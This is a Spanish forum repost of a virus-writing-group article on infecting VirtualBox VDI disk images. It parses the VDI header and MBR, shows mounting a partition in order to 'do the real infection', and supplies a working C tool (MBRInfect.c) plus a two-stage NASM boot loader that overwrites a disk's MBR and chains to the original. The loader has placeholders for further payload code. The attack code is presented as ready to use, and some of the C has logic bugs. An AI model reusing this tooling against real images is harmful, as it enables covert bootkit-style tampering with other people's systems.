• Virtual Disks Infection by WarGame/DoomRiderz

 #343633  por cLn
 21 Dic 2011, 00:02
1) Introducción

2) Estructura del VDI

3) MBR & Tabla de Particiones

4) Poner todo junto: VDIDump tool

5) Infección

6) Viejo Método: boot record infection

7) Agradecimientos & Referencias


1) Introducción

El uso de la tecnología de virtualización está aumentando más y más hoy en día, principalmente debido a su entorno de prueba seguro y capacidad para ejecutar otro sistema sin el uso de multi-arranque. En este artículo vamos a hablar de VirtualBox infección ([ Debe registrarse para ver este enlace ]), discos virtuales. ¡Vamos! Lo siento por mi mal Inglés, no es mi idioma principal.

2) Estructura de un VDI:

Un archivo VDI es un disco virtual de VirtualBox, que puede ser de tamaño dinámico(expandido) o un tamaño fijo. Vamos a hablar de disco duro virtual de tamaño fijo , ya que se puede acceder de manera más sencilla.

Esta es la estructura de un disco VDI:
Código: [ Debe registrarse para ver este enlace ]
------------------------------------ 
|            VDIPREHEADER          | 
------------------------------------ 
|             VDIHEADER            | 
------------------------------------ 
|               DATA               | 
------------------------------------
Podemos obtener una gran cantidad de información interesante de VDIPREHEADER y VDIHEADER.

Esta es la definición de VDIPREHEADER de VDICore.h:
Código: [ Debe registrarse para ver este enlace ]
typedef struct VDIPREHEADER 

{ 
  /** Just text info about image type, for eyes only. */ 
  char       szFileInfo[64]; 
  /** The image signature (VDI_IMAGE_SIGNATURE). */ 
  uint32_t     u32Signature; 
  /** The image version (VDI_IMAGE_VERSION). */ 
  uint32_t       u32Version; 
} VDIPREHEADER, *PVDIPREHEADER; 
El miembro más interesante para nosotros es u32Version, de hecho, nos dice, que la versión de VDIHEADER que se utiliza.

Hay tres versiones de VDIHEADER:

VDIHEADER0
VDIHEADER1
VDIHEADER1PLUS


Vamos a utilizar sólo VDIHEADER1, porque en mi imagen de disco virtual de prueba que se utiliza en el encabezado, pero lo que está escrito aquí se puede aplicar a los otros dos tipos también.

Esta es la definición de VDIHEADER1 de VDICore.h:
Código: [ Debe registrarse para ver este enlace ]
typedef struct VDIHEADER1 

{ 
    /** Size of this structure in bytes. */ 
    uint32_t      cbHeader; 
    /** The image type (VDI_IMAGE_TYPE_*). */ 
    uint32_t      u32Type; 
    /** Image flags (VDI_IMAGE_FLAGS_*). */ 
    uint32_t      fFlags; 
    /** Image comment. (UTF-8) */ 
    char          szComment[VDI_IMAGE_COMMENT_SIZE]; 
    /** Offset of Blocks array from the begining of image file. 
    * Should be sector-aligned for HDD access optimization. */ 
    uint32_t      offBlocks; 
    /** Offset of image data from the begining of image file. 
    * Should be sector-aligned for HDD access optimization. */ 
    uint32_t      offData; 
    /** Legacy image geometry (previous code stored PCHS there). */ 
    VDIDISKGEOMETRY LegacyGeometry; 
    /** Was BIOS HDD translation mode, now unused. */ 
    uint32_t      u32Dummy; 
    /** Size of disk (in bytes). */ 
    uint64_t      cbDisk; 
    /** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */ 
    uint32_t      cbBlock; 
    /** Size of additional service information of every data block. 
    * Prepended before block data. May be 0. 
    * Should be a power of 2 and sector-aligned for optimization reasons. */ 
    uint32_t      cbBlockExtra; 
    /** Number of blocks. */ 
    uint32_t      cBlocks; 
    /** Number of allocated blocks. */ 
    uint32_t      cBlocksAllocated; 
    /** UUID of image. */ 
    RTUUID        uuidCreate; 
    /** UUID of image's last modification. */ 
    RTUUID        uuidModify; 
    /** Only for secondary images - UUID of previous image. */ 
    RTUUID        uuidLinkage; 
    /** Only for secondary images - UUID of previous image's last modification. */ 
    RTUUID        uuidParentModify; 
    
} VDIHEADER1, *PVDIHEADER1;
En cuanto a los miembros de la estructura que podemos ver hay muchos campos de interés, pero para nuestro objetivo el más interesante es OffData, nos dice que la "verdadera" parte del disco comienza. Todo lo hecho en la parte del disco debe estar en relación con OffData, por ejemplo, si queremos acceder al sector 456 de la disco, deberíamos hacer algo como esto:

...
seek_vdi(OffData+456*512);
access_sector();
...


Hay que comprobar el miembro u32Type también nos dice si el disco virtual es de tamaño fijo o expandido de forma dinámica. Aquí se muestra el uso de OffData:
Código: [ Debe registrarse para ver este enlace ]
------------------------------------ 
|          VDIPREHEADER            | 
------------------------------------ 
|            VDIHEADER             | 
------------------------------------ 
|              DATA                | 
|              ....                | 
|              OffData -> MBR      | 
------------------------------------
En pocas palabras, si vamos a buscar desde el principio de los archivos de VDI de bytes OffData, vamos a obtener la ubicación del registro maestro de arranque (el sector 1, que contiene una gran cantidad de información interesante sobre la organización lógica del disco) .

3) MBR & Tabla de Particiones

Entendimos como obtener la ubicación del sector 1 (MBR),ahora veremos su estructura:
Código: [ Debe registrarse para ver este enlace ]
------------------------------------------ 0 
|                                          | \ 
|               CODE AREA                  | Los primeros 446 bytes contienen el código de arranque 
|                                          | / 
------------------------------------------ 446 
|                                          | \ 
|            PARTITIONS TABLE              | Esta está formada por cuatro entradas de 16 bytes
|                                          | /                           
------------------------------------------ 510 
|                                          | \ 
|           BOOT RECORD SIGNATURE          |La firma del registro de arranque ocupa los últimos 2 bytes, |                                          | /                           que se debe establecer en AA55h.
------------------------------------------ 512 
El tamaño del MBR o cualquier otro sector es de 512 bytes (este es el tamaño estándar del sector para el PC basado en x86). La tabla de particiones se realiza de esta manera:
Código: [ Debe registrarse para ver este enlace ]
----------------------------------------- 
|             PARTITION ENTRY 1         | 16 bytes 
----------------------------------------- 
|             PARTITION ENTRY 2         | 16 bytes 
----------------------------------------- 
|             PARTITION ENTRY 3         | 16 bytes 
----------------------------------------- 
|             PARTITION ENTRY 4         | 16 bytes 
----------------------------------------- 
Cada entrada ocupa 16 bytes, aquí su estructura:
Código: [ Debe registrarse para ver este enlace ]
-------------------------------------- 0 
|                                     | \ 
|           BOOT INDICATOR            | Si este campo está establecido en 80 h es la partición activa, 
|                                     | /                        si no es así, está establecido a 00h
-------------------------------------- 1 
|                                     | \ 
|         STARTING CHS VALUE          | Este campo nos indica la ubicación del primer sector de 
|                                     | /         la partición si está dentro de los primeros 1024 cilindros
-------------------------------------- 4 
|                                     | \ 
|           PARTITION TYPE            | Tipo de partición (el sistema de archivos de la partición (FAT16, FAT32, NTFS,  |                                     | /                                    EXT2,EXT3, etcetera)
-------------------------------------- 5 
|                                     | \ 
|         ENDING CHS VALUE            | Este campo nos indica la ubicación del último sector de la partición si está  |                                     | /                                 dentro de los primeros 1024 cilindros
-------------------------------------- 8 
|                                     | \ 
|          STARTING SECTOR            | Este campo nos dice que el primer sector de la partición, a contar desde el  |                                     | /                        sector 0 (con 4 bytes) 
-------------------------------------- 12 
|                                     | \ 
|      PARTITION SIZE IN SECTORS      | Este campo nos dice que el tamaño de la partición de los sectores (con 4 bytes) 
|                                     | / 
-------------------------------------- 16
Ahora somos capaces de encontrar el MBR y obtener de él información que necesitamos acerca de la disposición lógica de nuestro disco virtual. El siguiente paso será encontrar una manera de acceder a dichas particiones o para usar un término mejor, "montaje" de ellas.

4) Poner todo junto: VDIDump tool

He probado esta herramienta sólo en mi Ubuntu Linux.

DumpVDI.c
Código: [ Debe registrarse para ver este enlace ]
/* A tool to dump partitions table inside a virtual disk (vdi file) by WarGame/DoomRiderz */ 

#include <stdio.h> 
#include <string.h> 

/* from VDICore.h and VBoxHDD-new.h*/ 

typedef unsigned int uint32_t; 
typedef unsigned long long uint64_t; 

typedef struct VDIDISKGEOMETRY 
{ 
     /** Cylinders. */ 
     uint32_t      cCylinders; 
     /** Heads. */ 
     uint32_t      cHeads; 
     /** Sectors per track. */ 
     uint32_t      cSectors; 
     /** Sector size. (bytes per sector) */ 
     uint32_t      cbSector; 
} VDIDISKGEOMETRY, *PVDIDISKGEOMETRY; 

typedef struct VDIPREHEADER 
{ 
     /** Just text info about image type, for eyes only. */ 
     char          szFileInfo[64]; 
     /** The image signature (VDI_IMAGE_SIGNATURE). */ 
     uint32_t      u32Signature; 
     /** The image version (VDI_IMAGE_VERSION). */ 
     uint32_t      u32Version; 
} VDIPREHEADER, *PVDIPREHEADER; 

#define VDI_IMAGE_COMMENT_SIZE 256 

typedef struct VDIHEADER1 
{ 
     /** Size of this structure in bytes. */ 
     uint32_t      cbHeader; 
     /** The image type (VDI_IMAGE_TYPE_*). */ 
     uint32_t      u32Type; 
     /** Image flags (VDI_IMAGE_FLAGS_*). */ 
     uint32_t      fFlags; 
     /** Image comment. (UTF-8) */ 
     char          szComment[VDI_IMAGE_COMMENT_SIZE]; 
     /** Offset of Blocks array from the begining of image file. 
     * Should be sector-aligned for HDD access optimization. */ 
     uint32_t      offBlocks; 
     /** Offset of image data from the begining of image file. 
     * Should be sector-aligned for HDD access optimization. */ 
     uint32_t      offData; 
     /** Legacy image geometry (previous code stored PCHS there). */ 
     VDIDISKGEOMETRY LegacyGeometry; 
     /** Was BIOS HDD translation mode, now unused. */ 
     uint32_t      u32Dummy; 
     /** Size of disk (in bytes). */ 
     uint64_t      cbDisk; 
     /** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */ 
     uint32_t      cbBlock; 
     /** Size of additional service information of every data block. 
     * Prepended before block data. May be 0. 
     * Should be a power of 2 and sector-aligned for optimization reasons. */ 
     uint32_t      cbBlockExtra; 
     /** Number of blocks. */ 
     uint32_t      cBlocks; 
     /** Number of allocated blocks. */ 
     uint32_t      cBlocksAllocated; 
     /** UUID of image. */ 
     char          uuidCreate[16]; 
     /** UUID of image's last modification. */ 
     char          uuidModify[16]; 
     /** Only for secondary images - UUID of previous image. */ 
     char          uuidLinkage[16]; 
     /** Only for secondary images - UUID of previous image's last modification. */ 
     char uuidParentModify[16]; 
} VDIHEADER1, *PVDIHEADER1; 

     /** Get VDI major version from combined version. */ 

#define VDI_GET_VERSION_MAJOR(uVer) ((uVer) >> 16) 

     /** Get VDI minor version from combined version. */ 

#define VDI_GET_VERSION_MINOR(uVer) ((uVer) & 0xffff) 

typedef struct MBR /* my definition for master boot record */ 
{ 
        char boot_code[446]; 
        unsigned char partitions[4][16]; 
        unsigned short signature; 
}MBR; 

     /****************/ 
     
void ExtractPartition(char *f,int offdata,int part_num,int start_sect,int size_sect) 
{ 
        FILE *vdi = NULL,*part = NULL; 
        char ex_name[128],buf[512]; 
        unsigned int size = size_sect*512; 
        
        if((vdi = fopen(f,"r")) == NULL) 
        { 
                printf("can't open %s\n",f); 
                return; 
        } 
        
        sprintf(ex_name,"partition_%d____%d_%d.raw",part_num,start_sect,size_sect); 
        
        if((part = fopen(ex_name,"a+")) == NULL) 
        { 
                 fclose(vdi); 
                 printf("can't open %s\n",ex_name); 
                 return; 
        } 
        
        fseek(vdi,offdata,SEEK_SET); 
        fseek(vdi,start_sect*512,SEEK_CUR); 
        printf("Extracting...\n"); 
        
        while(size > 0) 
        { 
                 fread(buf,512,1,vdi); 
                 fwrite(buf,512,1,part); 
                 size -= 512; 
                 
        } 
        
        fclose(vdi); 
        fclose(part);
         
        printf("Extraction done to %s\n",ex_name); 
        
} 

void DumpVDIPartitionTable(char *f, int extract) 
{ 
        FILE *fp = fopen(f,"r"); 
        VDIPREHEADER pre; 
        VDIHEADER1 h1; 
        MBR mbr; 
        int offdata = 0,p_cnt,sect_after_mbr,sect_in_partition; 
        
        if(fp == NULL) 
        { 
               printf("can't open %s\n",f); 
        } 
        
        else 
        { 
               fread(&pre,sizeof(VDIPREHEADER),1,fp); 
               
               if(VDI_GET_VERSION_MAJOR(pre.u32Version) == 1 && VDI_GET_VERSION_MINOR(pre.u32Version) == 1) 
               { 
               
                       if(h1.u32Type == 1) 
                       { 
                             printf("%s is not a fixed size disk\n",f); 
                       } 
                       
                             else 
                             { 
                                   fread(&h1,sizeof(VDIHEADER1),1,fp); 
                                   
                                   if(h1.offData != 0) 
                                   { 
                                         printf("Offdata (%s) -> %d\n",f,h1.offData); 
                                         rewind(fp); 
                                         fseek(fp,h1.offData,SEEK_SET); 
                                         fread(&mbr,sizeof(MBR),1,fp); 
                                         fclose(fp); printf("MBR signature -> 0x%x\n",mbr.signature); 
                                         for(p_cnt = 0;p_cnt < 4;p_cnt++) 
                                         { 
                                                memcpy(&sect_after_mbr,mbr.partitions[p_cnt]+8,4); 
                                                memcpy(&sect_in_partition,mbr.partitions[p_cnt]+12,4); 
                                                printf("Partition #%d -> status: %10s - type: 0x%.2x - partition begins at sector: %9d - sectors in partition: %9d\n",p_cnt,(mbr.partitions[p_cnt][0] == 0x80) ? "bootable" : "not active",mbr.partitions[p_cnt][4],sect_after_mbr,sect_in_partition); 
                                                if(extract) 
                                                     ExtractPartition(f,h1.offData,p_cnt,sect_after_mbr,sect_in_partition); 
                                          } 
                                    } 
                                    else 
                                    { 
                                          printf("header and offdata unknown in %s\n",f); 
                                    } 
                              }
                        } 
                        else 
                        { 
                                 printf("Header not supported in %s\n",f); 
                        } 
                 } 
          } 
          
 int main(int argc,char *argv[]) 
 { 
         int a_cnt,extract; 
         
         if(argc == 1) 
         { 
              printf("Dump partitions table from VDI (virtual disk) files by WarGame/DoomRiderz\n"); 
              printf("Usage: [-d | -e] <vdi file 1> <vdi file 2> ... <vdi file n> \n",argv[0]); 
              printf("Options:\n"); 
              printf("-d only print the partitions table on stdout\n"); 
              printf("-e print the partitions table on stdout and extract the partitions one by one and write them on files\n"); 
              return 1; 
         } 
         
         else 
         { 
              if(strcmp(argv[1],"-d") == 0) 
              { 
                     extract = 0; 
              } 
              
              else if(strcmp(argv[1],"-e") == 0) 
              { 
                     extract = 1; 
              } 
              else 
              { 
                     printf("Invalid option\n"); 
                     return 1;
                      
              } 
              
              for(a_cnt = 2;a_cnt < argc;a_cnt++) 
                          DumpVDIPartitionTable(argv[a_cnt],extract); 
              
              return 0; 
        } 
 }
Ejemplo Salida:
Código: [ Debe registrarse para ver este enlace ]
[email protected]:~/my stuff/vdi$ sudo ./DumpVDI -d /root/.VirtualBox/VDI/xpsp0.vdi 
Offdata (/root/.VirtualBox/VDI/xpsp0.vdi) -> 13312 
MBR signature -> 0xaa55 
Partition #0 -> status: bootable - type: 0x07 - partition begins at sector: 63 - sectors in partition: 6322113 Partition #1 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0 
Partition #2 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0 
Partition #3 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
5) Infección

La forma más fácil de infectar un disco virtual sólo requiere el comando "mount" de Linux, de hecho, es capaz de acceder a un montón de sistemas de archivos utilizando los controladores que ofrece el kernel. Por lo tanto, el proceso de infección con esta forma tan simple es la siguiente:

1) Encontrar el disco virtual para infectar
2) Obtener offData y la tabla de particiones de la misma
3) Obtener la ubicación del primer sector de la partición que queremos montar
4) Ejecutar el comando "mount"
5) Acceder a la partición montada y hacer la infección real
6) Desmontar esta

Así, por ejemplo, si queremos montar e infectar la primera partición ext3 (suponemos que el primer sector de su partición es el sector 63) de un disco virtual con un offData lo que equivale a 13.312, podemos utilizar el siguiente comando:

sudo mount -t ext3 -o ro,loop,offset=45568 the_vdi_file.vdi /our_mount_point

Donde 45568 es igual a 13 312 63 * 512.

De esta forma es rápido y requiere que el código no tanto por la parte más difícil está hecho por el comando "mount". Pero tiene una gran limitación: no es portable. De hecho, si no tenemos el comando "mount" y los privilegios de la derecha que no puede montar e infectar el disco virtual. A continuación, Windows no ofrece esa posibilidad, ya que puede montar sólo un número limitado de sistemas de archivos (FAT16, FAT32, NTFS). Podemos utilizar esta forma sólo en algunas circunstancias limitadas. Hay otra manera, pero se requeriría para implementar nuestro sistema de archivos conductores de nuestra infección, por lo que podría infectar a un vdi sin requerimientos externos.

6) Viejo Método: boot record infection

Hay otra manera aceptable para infectar nuestro disco virtual, se puede infectar el registro maestro de arranque propio. El MBR de hecho es el lugar donde se encuentra el código que hace que arranque el SO, si tomamos el control del mismo que puede poseer el sistema a un nivel muy bajo. A la edad de DOS, los virus multipartitos, fueron capaces de propagarse a través de disquetes, de hecho, podría conectar la interrupción 13h (esta interrupción controla el acceso a los discos) y así interceptar todos los accesos a disco. Así que cuando un usuario inicia su PC con el disquete infectado el proceso podría llevarse a cabo de nuevo. Esto fue posible porque el DOS no tiene ningún tipo de control de acceso al hardware. Los sistemas operativos modernos como Windows NT, Unix (BSD, MacOS), GNU / Linux utilizan su propia interfaz de hechos de los controladores de dispositivos para acceder a la capa de hardware y tecnología a fin de que no sea posible.

Nota: El uso de esta forma se puede infectar variable de disco virtual de tamaño sin problemas.
En este artículo vamos a hablar de backdoorizar el registro de inicio maestro del disco virtual. Nuestro código, de hecho, no tiene la posibilidad de propagación. Aquí vamos a utilizar un código de ejemplo que se compone de dos partes (escrito en nasm):

1) La primera parte de nuestro cargador se encuentra en el sector 1 (MBR), que será cargado por la BIOS en la dirección 0000:7C00. Cuando se hace con el control se imprime un msg en la pantalla y espera a que el usuario presione cualquier tecla. Cuando esto ocurre, la carga de código del sector 2 de la segunda parte del loader en la dirección 0000:1000 h, y luego salta a ella.

2) La segunda parte del cargador lee el sector 3 que contiene el MBR original y luego se carga en memoria en la dirección 0000:7C00 (para asegurarse de que funciona, de hecho cada gestor de arranque asume que se cargan desde esta dirección) y luego salta a ella.

3) El gestor de arranque original toma el control y hace que arranque el SO.

loader.asm (the code located on the sector 1)
Código: [ Debe registrarse para ver este enlace ]
the first stage of our loader 

ORG 7c00h 
BITS 16   
jmp boot 

msg db 'boot record infection on virtual disk! Press any key to continue',13,10,0 
msg1 db 'failed to read the loader1!',13,10,0 

boot:           ; setup the stack 
      xor ax,ax 
      mov ds,ax 
      mov es,ax 
      mov ss,ax 
      mov sp,7c00h 
      
setup_writing: 

      mov ah,0eh 
      mov bx,0007 
      xor si,si 
      
print_msg:        ; print our msg on the screen 

      mov al, [msg+si] 
      test al,al 
      jz wait_key 
      int 10h 
      inc si 
      jmp print_msg 
      
wait_key: 

      mov ah,00h 
      int 16h 
      
      ;; here we could put other code that performs other actions depending of the victim OS 
      
load_loader1: 
      
      mov dl,80h 
      xor ax,ax 
      int 13h ; reset drive 
      mov es,ax ; read at 
      mov bx,1000H ; 0000:1000 
      mov ah,02h ; read function 
      mov al,01h ; read only one sector 
      mov cx,02h ; sector 2 
      mov dh,0 
      mov dl,80h 
      int 13h ; read the sector 
      jc failed_to_read 
      
jump_to_loader1: 

      db 0Eah ; jump at 
      dw 1000h ; memory location 
      dw 0 ; 0000:1000h 
      
failed_to_read: 
      
      mov ah,0eh 
      mov bx,0007 
      xor si,si 
      
p: 

      mov al, [msg1+si] 
      test al,al 
      jz exit 
      int 10h 
      inc si 
      jmp p 
      
exit: 

      ret 
      
times 510-($-$$) db 0 
dw 0aa55h
loader1.asm (the code located on the sector 2)
Código: [ Debe registrarse para ver este enlace ]
; the second stage of the loader 

ORG 1000h 
BITS 16 
jmp boot 

msg1 db 'failed to read the original boot sector!',13,10,0 

boot:            ; setup the stack 

       xor ax,ax 
       mov ds,ax 
       mov es,ax 
       mov ss,ax 
       mov sp,1000h 
       
;; here we could put other code that performs other actions depending of the victim OS 

load_original_mbr: 

       mov dl,80h 
       xor ax,ax 
       int 13h ; reset drive 
       mov es,ax ; read at 
       mov bx,7c00H ; 0000:7c00 
       mov ah,02h ; read function 
       mov al,01h ; read only one sector 
       mov cx,03h ; sector 3 
       mov dh,0 
       mov dl,80h 
       int 13h ; read the sector 
       jc failed_to_read 
       
jump_to_original_mbr: ; here the original mbr gets the control 

       db 0Eah ; jump at 
       dw 7c00h ; memory location 
       dw 0 ; 0000:7c00h 
       
failed_to_read: 

       mov ah,0eh 
       mov bx,0007 
       xor si,si 
       
p: 

       mov al, [msg1+si] 
       test al,al 
       jz exit 
       int 10h 
       inc si 
       jmp p 
       
exit: 

       ret 
       
times 510-($-$$) db 0 
dw 0aa55h ; this is useless here
Mi código de ejemplo, simplemente actúa como un "proxy", de hecho después de interactuar un poco con el usuario pasa el control al cargador de verdad. Para más ver kit de arranque ([ Debe registrarse para ver este enlace ]).
Aquí una sencilla herramienta para infectar a un VDI con mi cargador:

MBRInfect.c
Código: [ Debe registrarse para ver este enlace ]
/* A simple tool to infect the MBR of a virtual disk by WarGame/DoomRiderz */ 

#include <stdio.h> 
#include <string.h> 

main(int argc,char *argv[]) 
{ 
         FILE *in = NULL,*in1 = NULL,*out = NULL; 
         char buf[512]; 
         char buf1[512]; 
         char original[512]; 
         
         if(argv[1] == NULL || argv[2] == NULL) 
         { 
                 printf("Usage: %s <vdi file> <offdata of the vdi>\n",argv[0]); 
                 return -1; 
         } 
         
         if((in = fopen("loader.bin","r")) == NULL) 
         {  
                 printf("can't open loader.bin\n"); 
                 return -1; 
         } 
         
         if((out = fopen(argv[1],"r+")) == NULL) 
         { 
                 printf("can't open %s\n",argv[1]); 
                 return -1; 
         } 
         
         if((in1 = fopen("loader1.bin","r")) == NULL) 
         { 
                 printf("can't open loader1.bin\n"); 
                 return -1; 
         } 
         
         fread(buf,512,1,in); 
         fread(buf1,512,1,in1); 
         fseek(out,atoi(argv[2]),SEEK_SET); /* seek to MBR pointed by offData */ 
         fread(original,512,1,out); /* read the original mbr */ 
         fseek(out,-512,SEEK_CUR); 
         memcpy(buf+446,original+446,64); /* put the partition table in our loader */ 
         fwrite(buf,512,1,out); /* write loader (sector 1) */ 
         fwrite(buf1,512,1,out); /* write loader 1 (sector 2) */ 
         fwrite(original,512,1,out); /* write original mbr (sector 3) */ 
         fclose(in); fclose(out); 
         fclose(in1); 
         printf("Done\n"); 
         return 0; 
}
7) Agradecimientos & Referenciass gracias a todos los miembros de #eof-project, #virus, #vxcode @ undernet

Referencias:

[ Debe registrarse para ver este enlace ]
[ Debe registrarse para ver este enlace ]
[ Debe registrarse para ver este enlace ]
[ Debe registrarse para ver este enlace ]

Para más información, visitar:

[ Debe registrarse para ver este enlace ]

Sacado de EOF-Project...espero que les sirva...

Saludos ![/color]